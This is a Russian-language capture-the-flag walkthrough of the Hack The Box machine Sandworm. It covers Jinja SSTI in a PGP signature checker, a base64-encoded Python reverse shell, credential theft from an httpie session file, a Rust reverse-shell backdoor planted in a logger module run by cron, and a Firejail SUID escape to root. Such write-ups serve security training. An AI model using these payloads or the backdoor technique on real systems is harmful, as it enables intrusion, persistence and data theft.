HTB Sandworm. Выходим из песочницы Firejail и повышаем привилегии в Linux
В этом райтапе я покажу, как совершать побег из сендбокса Firejail, чтобы повысить привилегии в Linux. Еще мы найдем и проэксплуатируем уязвимость SSTI в сервисе проверки подписи PGP, а также заложим бэкдор в проект, написанный на Rust.
А поможет нам в этом тренировочная машина Sandworm с площадки Hack The Box. Уровень ее сложности — средний.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел три открытых порта:
В заголовке http-title присутствует редирект на адрес https://ssa.htb. Добавляем и этот домен в файл /etc/hosts.
10.10.11.218 sandworm.htb ssa.htb
На сайте находим формы для шифрования текста и проверки подписи.
По ссылке на странице получаем ключ PGP.
Больше ничего интересного не находим, а так как мы уже увидели много интересных страниц, попробуем поискать другие.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-u— URL;-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-d— глубина сканирования.
Задаем нужные параметры и запускаем сканирование:
feroxbuster -k -u https://ssa.htb -t 256 -d 1 -w directory_2.3_medium_lowercase.txt
Находим на сайте как админку, так и страницу авторизации.
ТОЧКА ВХОДА
Гадать, какая используется технология, не пришлось, так как баннер Powered by Flask расположен на главной странице.
Протестируем сервис проверки подписи. Для этого сначала сгенерируем PGP-ключ, подпишем сообщение, после чего обе записи отправим на сайт. При создании ключа PGP нужно указать имя и адрес электронной почты.
pgp --gen-keyname1 <email@mail.comp>
Затем экспортируем созданный ключ. Его идентификатор — это строка вида "имя" "адрес электронной почты". После чего подпишем сообщение message.
gpg -a -o pub.key --export 'name1 <email@mail.comp>'echo 'message' | gpg --clear-sign
Переходим к сервису и передаем экспортированный ключ и подписанное сообщение, после чего проверяем подпись.
В ответе выводится имя, использованное при создании ключа PGP. Так как задействован фреймворк Flask и сервер получает, обрабатывает и выводит контролируемые пользователем данные, с большой вероятностью применяются шаблоны. В этом случае стоит проверить наличие уязвимости SSTI.
ТОЧКА ОПОРЫ
SSTI
Сгенерируем новый ключ и вместо имени введем шаблон {{7*7}}.
Если уязвимость есть, то на месте имени мы увидим результат выполнения выражения — 49. Снова экспортируем ключ, подписываем сообщение и отправляем их на сервер.
gpg -a -o pub.key --export '{{7*7}} <q@q.comp>'echo 'message' | gpg --clear-sign
И получаем вместо имени результат выполнения выражения в шаблоне. Так мы узнали, что сервис уязвим.
Справка: Server-Side Template Injection
Server-Side Template Injection (SSTI), или инъекция шаблонов на стороне сервера, — это механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Шаблоны нужны веб‑разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную. По сути, шаблон — это документ HTML, где в нужных местах отмечены переменные и команды, которые при генерации итоговой страницы будут заменены данными. В том числе это могут быть и данные, полученные от посетителя сайта.
Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, но была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захватит веб‑сервер.
Попробуем выполнить реверс‑шелл на Python. Для этого сначала сгенерируем его при помощи сервиса Online Reverse Shell Generator. На сайте указываем адрес и порт локального хоста и задаем автоматическое кодирование нагрузки в Base64.
Выполнять закодированный реверс‑шелл будем при помощи вот такой конструкции:
bash -c "echo <BASE64-REVERSE-SHELL> |base64 -d | bash"
Для выполнения команды через командную оболочку используем следующую нагрузку SSTI:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('COMMAND').read()}}
Сгенерируем ключ с нагрузкой вместо имени.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjM3Iiw0MzIxKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSc= | base64 -d | bash" ').read() }}
Теперь привычным образом экспортируем ключ и подписываем сообщение. Но перед отправкой на проверку запускаем листенер (rlwrap nc -nlpv 4321). Сразу же после отправки получаем сессию пользователя atlas.
ПРОДВИЖЕНИЕ
Sandbox Escape
Мы получили какой‑то шелл, вероятно урезанный, потому что не выполняются, например, команды curl, wget, rm и cp. Возможно, мы попали в песочницу, что подтверждаем, просмотрев каталог ~/.config. Там мы находим другой каталог — firejail.
Firejail — это простая в использовании система изолированного выполнения графических, консольных и серверных приложений, которая ограничивает рабочую среду потенциально уязвимых программ и тем самым повышает безопасность систем. Для этого используются пространства имен, фильтрация системных вызовов и возможностей AppArmor.
Также видим каталог httpie. HTTPie — это консольный HTTP-клиент, который предназначен для тестирования, отладки и общего взаимодействия с HTTP-серверами. Получим полный листинг со всеми подкаталогами.
В каталоге httpie/sessions/localhost_5000 видим доступный для чтения файл admin.json. В самом файле есть учетные данные пользователя silentobserver.
С найденными учетными данными подключаемся по SSH и забираем первый флаг.
Пользователь atlas
Теперь у нас есть полноценная оболочка и нам нужно собрать информацию. Я, как обычно, использую для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загружаем на хост скрипт для Linux, даем право на выполнение и приступаем к сканированию.
Обнаруживаем, что для приложения firejail установлен бит SUID, но оно доступно только группе пользователя jailer.
В каталоге /opt находим два проекта, которые относятся к группе пользователя atlas.
Файлы одного из этих проектов мы можем модифицировать.
В дереве процессов видим запущенную через cron от имени пользователя atlas команду cargo run --offline.
Так как cron запускает какие‑то приложения, посмотрим, что запущено прямо сейчас, при помощи утилиты pspy64. В ее выводе находим запуск найденной команды.
Так как запускается файл из проекта tipnet, просмотрим исходный код приложения /opt/tipnet/src/main.rs.
Это программа на Rust, которая взаимодействует с базой данных MySQL. Код позволяет выполнять запросы и манипулировать данными в базе данных. Кроме того, программа может искать записи в базе данных по ключевым словам и регистрировать действия в журнале. Но самой первой строкой подключается модуль logger. А его мы можем найти в проекте, где у нас есть право на запись.
Давай запишем в код бэкдор, чтобы при каждом вызове функции log мы получали реверс‑шелл на порт 4321. Код реверс‑шелла на Rust доступен на GitHub.
extern crate chrono;use std::net::TcpStream;use std::os::unix::io::{AsRawFd, FromRawFd};use std::process::{Command, Stdio};
use std::fs::OpenOptions;use std::io::Write;use chrono::prelude::*;pub fn log(user: &str, query: &str, justification: &str) {
let sock = TcpStream::connect("10.10.14.37:6543").unwrap();
let fd = sock.as_raw_fd(); Command::new("/bin/bash") .arg("-i") .stdin(unsafe { Stdio::from_raw_fd(fd) }) .stdout(unsafe { Stdio::from_raw_fd(fd) }) .stderr(unsafe { Stdio::from_raw_fd(fd) }) .spawn() .unwrap() .wait() .unwrap(); let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") { Ok(file) => file, Err(e) => {
println!("Error opening log file: {}", e); return; } }; if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e); }}
Затем собираем модуль и ждем, когда прилетит бэкконнект.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
При разведке мы также определили, что у исполняемого файла firejail выставлен S-бит. Теперь мы можем этим воспользоваться. При помощи эксплоита для выхода из песочницы мы получим сессию с теми же привилегиями, с которыми был запущен firejail. А так как мы можем запускать его от имени root, то это явный путь к повышению привилегий. Только одной сессии будет мало, поэтому вернемся к предыдущему шагу и сделаем себе еще одну сессию на порте 6543. Затем загружаем эксплоит на хост и запускаем в первой сессии.
Он покажет нам следующую команду, которую мы запускаем во второй сессии.
Как можно видеть, во второй сессии мы сразу получаем новый шелл. И теперь мы можем изменить пользователя на root без ввода всяких паролей.